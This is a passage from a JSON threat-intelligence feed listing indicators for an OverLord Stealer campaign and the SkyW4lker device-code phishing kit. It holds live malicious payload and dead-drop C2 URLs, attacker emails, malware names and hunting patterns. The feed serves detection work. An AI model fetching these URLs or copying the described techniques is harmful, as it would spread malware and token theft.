Deliver OverLord Stealer", "source_name": "SafeDep", "sources": [ { "url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "name": "SafeDep" } ] }, { "value": "https://buildwithknexus.xyz/check_m", "type": "url", "confidence": "med", "recommended_action": "alert", "description": "macOS login-script re-infection payload. SafeDep, single source, alert only.", "source_url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "source_label": "SafeDep – antd-img-crop GitHub Repository Hijacked to Deliver OverLord Stealer", "source_name": "SafeDep", "sources": [ { "url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "name": "SafeDep" } ] }, { "value": "https://gitlab.com/drop-indexings/tasks/-/raw/main/config.json", "type": "url", "confidence": "high", "recommended_action": "alert", "description": "GitLab dead-drop that returns the current C2. SafeDep and Stormshield. Alert on this path only; do not block gitlab.com.", "source_url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "source_label": "SafeDep – antd-img-crop GitHub Repository Hijacked to Deliver OverLord Stealer", "source_name": "SafeDep", "sources": [ { "url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "name": "SafeDep" } ] }, { "value": "https://gitlab.com/up-indexings/tasks/-/raw/main/config.json", "type": "url", "confidence": "med", "recommended_action": "alert", "description": "Rotated GitLab dead-drop observed by Stormshield after drop-indexings/tasks. Stormshield, single source. Alert on this path only; do not block gitlab.com.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "cd20f43f985f7df7ba3ad9b08e5bdbecc20aaa4d8f60dc09e8468bdd1b249fe6", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "Linux dropper that installs the second-stage payload (Stormshield). Distinct from the SafeDep verify_m hash.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "249626244f23928c75e6c382da62278ed1d4e012a0c0f62beafefc1e4d7c5baa", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "Windows dropper that installs the second-stage payload (Stormshield). Distinct from the SafeDep verify_w hash.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "2c09fce2856bcd92b8afea424da0f9daa67bf2d22ceb625af60deaabd3d0573d", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "scripts/prebuild.js stage-1 dropper in the hijacked antd-img-crop repository. SafeDep, single source, alert only.", "source_url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "source_label": "SafeDep – antd-img-crop GitHub Repository Hijacked to Deliver OverLord Stealer", "source_name": "SafeDep", "sources": [ { "url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "name": "SafeDep" } ] }, { "value": "c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "verify_m stage-2 bash loader for Linux and macOS. SafeDep, single source, alert only.", "source_url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "source_label": "SafeDep – antd-img-crop GitHub Repository Hijacked to Deliver OverLord Stealer", "source_name": "SafeDep", "sources": [ { "url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "name": "SafeDep" } ] }, { "value": "465cd1a445782c72cbb30e82e57ebbae38f1535f248bf821b11bc4897d90180e", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "verify_w / v.cmd stage-2 batch loader for Windows. SafeDep, single source, alert only.", "source_url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "source_label": "SafeDep – antd-img-crop GitHub Repository Hijacked to Deliver OverLord Stealer", "source_name": "SafeDep", "sources": [ { "url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "name": "SafeDep" } ] }, { "value": "89918bef29cd6081ea88488a0259da269bd3d633efb319e98110bf7587d88460", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "install_guard.js as served (AES-256-GCM loader). SafeDep, single source, alert only.", "source_url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "source_label": "SafeDep – antd-img-crop GitHub Repository Hijacked to Deliver OverLord Stealer", "source_name": "SafeDep", "sources": [ { "url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "name": "SafeDep" } ] }, { "value": "2b4d770d4eb954b3e4b3a43dc3c9ee4cbcbf7b43e09f6b9d52714a79cb2e51fe", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "Decrypted install_guard.js OverLord stealer/installer. SafeDep, single source, alert only.", "source_url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "source_label": "SafeDep – antd-img-crop GitHub Repository Hijacked to Deliver OverLord Stealer", "source_name": "SafeDep", "sources": [ { "url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "name": "SafeDep" } ] }, { "value": "68f76004af3c2774edc1897a02814ba185230b324ca0d3ef28414b1eb079f6f4", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "google-update-support-linux-amd64 OverLord Go agent. SafeDep, single source, alert only.", "source_url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "source_label": "SafeDep – antd-img-crop GitHub Repository Hijacked to Deliver OverLord Stealer", "source_name": "SafeDep", "sources": [ { "url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "name": "SafeDep" } ] }, { "value": "f048440496c8bcee28d4f06284674e3044f77479f2ca19b9b6f6fc9e3dd6f318", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "google-update-support-linux-arm64 OverLord Go agent. SafeDep, single source, alert only.", "source_url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "source_label": "SafeDep – antd-img-crop GitHub Repository Hijacked to Deliver OverLord Stealer", "source_name": "SafeDep", "sources": [ { "url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "name": "SafeDep" } ] }, { "value": "1dff0f5ccf16fc6740a3f09facc3295ee04a0e9004549223e0a316d09674fb73", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "google-update-support-darwin-arm64 OverLord Go agent. SafeDep, single source, alert only.", "source_url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "source_label": "SafeDep – antd-img-crop GitHub Repository Hijacked to Deliver OverLord Stealer", "source_name": "SafeDep", "sources": [ { "url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "name": "SafeDep" } ] }, { "value": "0cffa69ea2e284d3b255ba0915fe86e08f1c4d97d941c69a6336d4cfbc5e8f0b", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "google-update-support-darwin-amd64 OverLord Go agent. SafeDep, single source, alert only.", "source_url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "source_label": "SafeDep – antd-img-crop GitHub Repository Hijacked to Deliver OverLord Stealer", "source_name": "SafeDep", "sources": [ { "url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "name": "SafeDep" } ] }, { "value": "ffd31b1ff0914f2c989a617c125d6b3c46bd78b577466a42f97457a207fe7b65", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "Windows OverLord Node RAT bundle embedded in stage 3. SafeDep, single source, alert only.", "source_url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "source_label": "SafeDep – antd-img-crop GitHub Repository Hijacked to Deliver OverLord Stealer", "source_name": "SafeDep", "sources": [ { "url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "name": "SafeDep" } ] }, { "value": "97af1c38ffa8fea94e4574481bda8cc6ae02d345f4443c28de385b2484ceceae", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "update-agent.js Windows OverLord RAT entry point. SafeDep, single source, alert only.", "source_url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "source_label": "SafeDep – antd-img-crop GitHub Repository Hijacked to Deliver OverLord Stealer", "source_name": "SafeDep", "sources": [ { "url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "name": "SafeDep" } ] }, { "value": "cd6008512161a4634af3ee2c8e62ea7838165a9b46cdb0e0ea70f8d2aaa7436e", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "GitLab dead-drop config.json content observed on 3 November 2026. SafeDep, single source, alert only.", "source_url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "source_label": "SafeDep – antd-img-crop GitHub Repository Hijacked to Deliver OverLord Stealer", "source_name": "SafeDep", "sources": [ { "url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "name": "SafeDep" } ] }, { "value": "36ad2e5dae563945c0485037fd1e8062efbdf30708e84106edf255ee669ae415", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "Decoy Amber Group careers page (index.html). SafeDep, single source, alert only.", "source_url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "source_label": "SafeDep – antd-img-crop GitHub Repository Hijacked to Deliver OverLord Stealer", "source_name": "SafeDep", "sources": [ { "url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "name": "SafeDep" } ] }, { "value": "237e60ed1c2b619085ba690e1ff613100fc03d7f9bde637029ff05892dda792e", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "Lure SPA script that swaps the ClickFix clipboard command. SafeDep, single source, alert only.", "source_url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "source_label": "SafeDep – antd-img-crop GitHub Repository Hijacked to Deliver OverLord Stealer", "source_name": "SafeDep", "sources": [ { "url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "name": "SafeDep" } ] }, { "value": "808e7154b7af2bc7a4b28d577297c55f77221c355191cbe00f9f1810b6d4a619", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "Embedded macOS fake password-prompt binary (Proofpoint: darwin-password-prompt; SafeDep: Swift NSAlert). Multi-source, block.", "source_url": "https://www.proofpoint.com/us/blog/threat-insight/dont-fear-repo-unkdeaddrop-phishing-campaign-targets-developers-steal", "source_label": "Proofpoint – Don't Fear the Repo: UNK_DeadDrop Phishing Campaign Targets Developers to Steal Cryptocurrency", "source_name": "Proofpoint", "sources": [ { "url": "https://www.proofpoint.com/us/blog/threat-insight/dont-fear-repo-unkdeaddrop-phishing-campaign-targets-developers-steal", "name": "Proofpoint" } ] }, { "value": "eros1030109@gmail.com", "type": "email", "confidence": "high", "recommended_action": "alert", "description": "Hard-coded super-administrator of the Trigram consoles. Also published by Genians as a Kimsuky indicator. Hunt in mail flow; do not block Gmail.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "harper.danie95@gmail.com", "type": "email", "confidence": "med", "recommended_action": "alert", "description": "Address used to sign malicious Foxtopia repository commits and in a fake designer job offer. Stormshield, single source. Hunt in mail flow; do not block Gmail.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "silvia.ittech1129@gmail.com", "type": "email", "confidence": "med", "recommended_action": "alert", "description": "GitLab dead-drop committer for drop-indexings/tasks, tied by Stormshield to the rms-platform database user silviattech1129. SafeDep, alert only. Do not block Gmail.", "source_url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "source_label": "SafeDep – antd-img-crop GitHub Repository Hijacked to Deliver OverLord Stealer", "source_name": "SafeDep", "sources": [ { "url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "name": "SafeDep" } ] }, { "value": "apollo1030109@gmail.com", "type": "email", "confidence": "med", "recommended_action": "alert", "description": "Twin Gmail address that OctoProbe links to the same display name as eros1030109@gmail.com. OctoProbe, single source. Hunt in mail flow; do not block Gmail.", "source_url": "https://www.octoprobe.ai/blog/kimsuky-operation-gitpower-github-c2/", "source_label": "octoprobe.ai", "source_name": "OctoProbe", "sources": [ { "url": "https://www.octoprobe.ai/blog/kimsuky-operation-gitpower-github-c2/", "name": "OctoProbe" } ] }, { "value": "~nvdg_worker.vbs", "type": "filename", "confidence": "high", "recommended_action": "alert", "description": "Hidden Windows VBScript worker used to relaunch the dropper after MOTW is stripped. Named in Stormshield's YARA and as %TEMP%\\~nvdg_worker.vbs by SafeDep.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "install_guard.js", "type": "filename", "confidence": "high", "recommended_action": "alert", "description": "Stage-3 JavaScript payload fetched from operator infrastructure and run with Node.js. Stormshield and SafeDep.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "install_guard_alt.js", "type": "filename", "confidence": "med", "recommended_action": "alert", "description": "Alternate stage-3 payload name referenced in Stormshield's YARA. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "verify_m", "type": "filename", "confidence": "high", "recommended_action": "alert", "description": "Stage-2 bash loader for Linux and macOS, also described by Stormshield. SafeDep and Stormshield.", "source_url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "source_label": "SafeDep – antd-img-crop GitHub Repository Hijacked to Deliver OverLord Stealer", "source_name": "SafeDep", "sources": [ { "url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "name": "SafeDep" } ] }, { "value": "verify_w", "type": "filename", "confidence": "high", "recommended_action": "alert", "description": "Stage-2 Windows batch loader (also v.cmd), also described by Stormshield. SafeDep and Stormshield.", "source_url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "source_label": "SafeDep – antd-img-crop GitHub Repository Hijacked to Deliver OverLord Stealer", "source_name": "SafeDep", "sources": [ { "url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "name": "SafeDep" } ] }, { "value": "GoogleUpdateSupporterNode", "type": "filename", "confidence": "med", "recommended_action": "alert", "description": "Fake Google-named Windows scheduled task that persists the OverLord Node RAT and launches it with wscript //B. SafeDep, single source, alert only. Do not treat genuine Google Update as malicious.", "source_url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "source_label": "SafeDep – antd-img-crop GitHub Repository Hijacked to Deliver OverLord Stealer", "source_name": "SafeDep", "sources": [ { "url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "name": "SafeDep" } ] }, { "value": "run-update-agent.vbs", "type": "filename", "confidence": "med", "recommended_action": "alert", "description": "Windows OverLord RAT launcher. SafeDep, single source, alert only.", "source_url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "source_label": "SafeDep – antd-img-crop GitHub Repository Hijacked to Deliver OverLord Stealer", "source_name": "SafeDep", "sources": [ { "url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "name": "SafeDep" } ] }, { "value": "google-dev-tools.google-update-support", "type": "filename", "confidence": "med", "recommended_action": "alert", "description": "Sideloaded Visual Studio Code or compatible editor extension that launches the agent and is then deleted. Not on the Marketplace or Open VSX. SafeDep, single source, alert only.", "source_url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "source_label": "SafeDep – antd-img-crop GitHub Repository Hijacked to Deliver OverLord Stealer", "source_name": "SafeDep", "sources": [ { "url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "name": "SafeDep" } ] }, { "value": "google-update-support-linux-amd64", "type": "filename", "confidence": "med", "recommended_action": "alert", "description": "OverLord Go agent file name (also -arm64 and darwin-amd64/-arm64). SafeDep, single source, alert only.", "source_url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "source_label": "SafeDep – antd-img-crop GitHub Repository Hijacked to Deliver OverLord Stealer", "source_name": "SafeDep", "sources": [ { "url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "name": "SafeDep" } ] }, { "value": "NVDG_HIDDEN", "type": "other", "confidence": "high", "recommended_action": "alert", "description": "Environment variable set by the Windows dropper when it launches the hidden worker (also NVDG_INSTALLER_DIR, NVDG_LAUNCHER, NVDG_DETACHED, NVDG_SELF). Stormshield YARA; SafeDep notes the NVDG_* family.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "drop-indexings/tasks", "type": "other", "confidence": "high", "recommended_action": "alert", "description": "GitLab project used as a dead-drop resolver for the current C2. SafeDep and Stormshield. Hunt this path; do not block gitlab.com.", "source_url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "source_label": "SafeDep – antd-img-crop GitHub Repository Hijacked to Deliver OverLord Stealer", "source_name": "SafeDep", "sources": [ { "url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "name": "SafeDep" } ] }, { "value": "up-indexings/tasks", "type": "other", "confidence": "med", "recommended_action": "alert", "description": "Rotated GitLab dead-drop project observed by Stormshield on 3 November 2026. Stormshield, single source. Hunt this path; do not block gitlab.com.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "com.google.UpdateSupporter", "type": "other", "confidence": "med", "recommended_action": "alert", "description": "Fake Google LaunchDaemon/LaunchAgent label for OverLord on macOS. SafeDep, single source, alert only. Do not treat genuine Google software as malicious.", "source_url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "source_label": "SafeDep – antd-img-crop GitHub Repository Hijacked to Deliver OverLord Stealer", "source_name": "SafeDep", "sources": [ { "url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "name": "SafeDep" } ] }, { "value": "google-agent.service", "type": "other", "confidence": "med", "recommended_action": "alert", "description": "Fake Google systemd unit for OverLord on Linux. SafeDep, single source, alert only.", "source_url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "source_label": "SafeDep – antd-img-crop GitHub Repository Hijacked to Deliver OverLord Stealer", "source_name": "SafeDep", "sources": [ { "url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "name": "SafeDep" } ] } ], "queries": [ { "platform": "Defender XDR", "language": "KQL", "name": "hunt.kql", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/Trigram-DPRK-Dropper-Kimsuky-UNK-DeadDrop/hunt.kql", "download": "Trigram-DPRK-Dropper-Kimsuky-UNK-DeadDrop_hunt.kql" }, { "platform": "Splunk", "language": "SPL", "name": "hunt.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/Trigram-DPRK-Dropper-Kimsuky-UNK-DeadDrop/hunt.spl", "download": "Trigram-DPRK-Dropper-Kimsuky-UNK-DeadDrop_hunt.spl", "alt": { "label": "No CIM? Raw-search version", "name": "hunt_raw.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/Trigram-DPRK-Dropper-Kimsuky-UNK-DeadDrop/hunt_raw.spl", "download": "Trigram-DPRK-Dropper-Kimsuky-UNK-DeadDrop_hunt_raw.spl" } }, { "platform": "Google SecOps", "language": "YARA-L 2.0", "name": "hunt.yaral", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/Trigram-DPRK-Dropper-Kimsuky-UNK-DeadDrop/hunt.yaral", "download": "Trigram-DPRK-Dropper-Kimsuky-UNK-DeadDrop_hunt.yaral" } ] }, { "id": "SkyW4lker-Microsoft-365-Device-Code-Phishing", "folder": "threats/2026-11_November-2026/2026-11-11/SkyW4lker-Microsoft-365-Device-Code-Phishing", "name": "SkyW4lker: Microsoft 365 Device-Code Phishing Kit Targeting Enterprises", "short": "SkyW4lker Microsoft 365 device-code phishing", "category": "Phishing / identity", "published": "2026-10-27", "entry_date": "2026-11-11 16:11", "last_updated": "2026-11-11", "seq": 16, "headline": "Microsoft 365 device-code phishing kit that obtains tokens through genuine sign-in and MFA", "summary": "ANY.RUN describes SkyW4lker (also branded SkyW4lker x365 Sentinel) as a device-code phishing kit aimed at Microsoft 365 users, most often in technology, manufacturing and government organisations in the United States, and also seen in India, Canada, the United Kingdom and elsewhere in Europe. The victim is sent a password-protected PDF, DOCX or XLSX, typically framed as a contract, invoice or proposal, with the password in the email body; a CAPTCHA and sometimes a lure page on a trusted service then leads to a page that tells them to enter a Microsoft device code on Microsoft's own sign-in site. Completing that genuine sign-in, including MFA, hands the attacker a Microsoft 365 token without a password being stolen. The kit's PHP backend and obfuscated JavaScript register the visit with action=start on /session_public.php and poll with action=poll until authentication finishes. ANY.RUN counted 618 related sandbox analyses between 23 June and 21 October 2026, rising from about 20 in June to about 200 in September, and assesses with high confidence that SkyW4lker and the Gabagool credential-phishing kit were built by the same developer. These figures are sandbox submissions, not a confirmed victim count, and the indicators come from a single source, so they are published at medium confidence for alerting and hunting, not for blocking.", "caveat": null, "targets": { "countries": [ { "code": "US", "name": "United States" }, { "code": "IN", "name": "India" }, { "code": "CA", "name": "Canada" }, { "code": "GB", "name": "United Kingdom" } ], "regions": [ "United States", "Europe" ], "sectors": [ "Technology", "Manufacturing", "Government" ], "note": "Figures are sandbox submissions, not a confirmed victim census. ANY.RUN says 46–47% of submissions came from the United States, more than twice the share of any other country, and that submitting organisations were mainly in technology, manufacturing and government, most often from the United States, India, Canada and the United Kingdom.", "source": { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "name": "ANY.RUN" } }, "mitre": [ { "id": "T1566.001", "name": "Phishing: Spearphishing Attachment", "url": "https://attack.mitre.org/techniques/T1566/001/" }, { "id": "T1566.002", "name": "Phishing: Spearphishing Link", "url": "https://attack.mitre.org/techniques/T1566/002/" }, { "id": "T1528", "name": "Steal Application Access Token", "url": "https://attack.mitre.org/techniques/T1528/" }, { "id": "T1583.001", "name": "Acquire Infrastructure: Domains", "url": "https://attack.mitre.org/techniques/T1583/001/" }, { "id": "T1656", "name": "Impersonation", "url": "https://attack.mitre.org/techniques/T1656/" }, { "id": "T1027", "name": "Obfuscated Files or Information", "url": "https://attack.mitre.org/techniques/T1027/" }, { "id": "T1497", "name": "Virtualization/Sandbox Evasion", "url": "https://attack.mitre.org/techniques/T1497/" } ], "recommended_actions": [ "Hunt proxy, DNS and web logs for /session_public.php?action=start, repeated ?action=poll, and the JavaScript modules /assets/js/client_geo.js, endpoint.js and url_helper.js.", "In Entra ID, review unexpected device-code sign-ins, especially shortly after a password-protected contract or invoice email, and restrict the device-code flow with Conditional Access where it is not required.", "Alert on the listed typo-squatted and kit-hosting domains; do not block them yet, because they come from a single source, and some other hosts in the same report look like compromised legitimate sites and were left out.", "Treat password-protected business attachments whose password is in the email body as suspicious, and never enter a Microsoft device code from an email, a document or a page that is not a sign-in you started." ], "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "name": "ANY.RUN" } ], "indicator_count": 90, "block_now_count": 0, "hunt_count": 90, "hunt_counts": { "alert": 90 }, "indicator_counts": { "domain": 80, "url": 7, "other": 2, "sha256": 1 }, "ioas": [ { "artefact": "Outbound requests to /session_public.php?action=start, followed by repeated /session_public.php?action=poll", "log_source": "Web proxy, firewall or endpoint network logs", "why": "The SkyW4lker phishing page registers a session with the visitor's IP and geolocation, then polls every few seconds to see whether the victim has completed Microsoft device-code authentication.", "action": "alert", "has_query": true, "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_name": "ANY.RUN", "title": "Outbound requests to /session_public.php?action=start", "queries": [ "KQL" ] }, { "artefact": "Loads of /assets/js/client_geo.js, /assets/js/endpoint.js or /assets/js/url_helper.js", "log_source": "Web proxy or endpoint network logs", "why": "These JavaScript modules are distinctive SkyW4lker kit fingerprints, and they are also used by the related Gabagool credential-phishing kit.", "action": "alert", "has_query": true, "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_name": "ANY.RUN", "title": "Loads of /assets/js/client_geo.js", "queries": [ "KQL" ] }, { "artefact": "Unexpected Microsoft Entra ID device-code sign-ins, especially shortly after a password-protected contract, invoice or proposal email", "log_source": "Entra ID sign-in logs (authentication protocol: device code)", "why": "SkyW4lker does not steal a password or bypass MFA. The victim completes a genuine Microsoft device-code sign-in, and the attacker's backend receives the issued token.", "action": "alert", "has_query": false, "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_name": "ANY.RUN", "title": "Unexpected Microsoft Entra ID device-code sign-ins", "queries": [] }, { "artefact": "Landing paths matching //it[A-Za-z0-9]{32}us or the earlier //zt[A-Za-z0-9]{32}op, including links that end with ? or ??", "log_source": "Email URL, proxy and web logs", "why": "ANY.RUN observed these landing-token formats on SkyW4lker (and Gabagool) pages from June to October 2026.", "action": "hunt", "has_query": true, "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_name": "ANY.RUN", "title": "Landing paths matching //it[A-Za-z0-9]{32}us or the earlier...", "queries": [ "KQL" ] }, { "artefact": "Requests for /assets/private_captcha/public/widget.js or /assets/php/endpoints/private_captcha_challenge.php, or /assets/php/endpoints/confirm_visit.php", "log_source": "Web proxy or endpoint network logs", "why": "SkyW4lker and Gabagool use a self-hosted CAPTCHA gate and a shared visit-confirmation endpoint to hide the phishing page from automated scanners.", "action": "hunt", "has_query": true, "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_name": "ANY.RUN", "title": "Requests for /assets/private_captcha/public/widget.js or...", "queries": [ "KQL" ] } ], "ioa_count": 5, "ioa_note": "Behaviours are leads, not confirmed indicators, and can match legitimate activity. Compare any hit against your own baseline and environment before acting.", "files": [ { "name": "block_now.txt", "label": "Block list", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/SkyW4lker-Microsoft-365-Device-Code-Phishing/block_now.txt", "download": "SkyW4lker-Microsoft-365-Device-Code-Phishing_block_now.txt" }, { "name": "defender_xdr_indicators.csv", "label": "Defender XDR import", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/SkyW4lker-Microsoft-365-Device-Code-Phishing/defender_xdr_indicators.csv", "download": "SkyW4lker-Microsoft-365-Device-Code-Phishing_defender_xdr_indicators.csv" }, { "name": "hunt.kql", "label": "Hunting query (KQL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/SkyW4lker-Microsoft-365-Device-Code-Phishing/hunt.kql", "download": "SkyW4lker-Microsoft-365-Device-Code-Phishing_hunt.kql" }, { "name": "hunt.spl", "label": "Hunting query (SPL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/SkyW4lker-Microsoft-365-Device-Code-Phishing/hunt.spl", "download": "SkyW4lker-Microsoft-365-Device-Code-Phishing_hunt.spl" }, { "name": "hunt_raw.spl", "label": "Hunting query (SPL, raw events)", "note": "hunt_raw.spl, for data not mapped to CIM", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/SkyW4lker-Microsoft-365-Device-Code-Phishing/hunt_raw.spl", "download": "SkyW4lker-Microsoft-365-Device-Code-Phishing_hunt_raw.spl" }, { "name": "hunt.yaral", "label": "Hunting query (YARA-L 2.0)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/SkyW4lker-Microsoft-365-Device-Code-Phishing/hunt.yaral", "download": "SkyW4lker-Microsoft-365-Device-Code-Phishing_hunt.yaral" }, { "name": "iocs.csv", "label": "All indicators (CSV)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/SkyW4lker-Microsoft-365-Device-Code-Phishing/iocs.csv", "download": "SkyW4lker-Microsoft-365-Device-Code-Phishing_iocs.csv" } 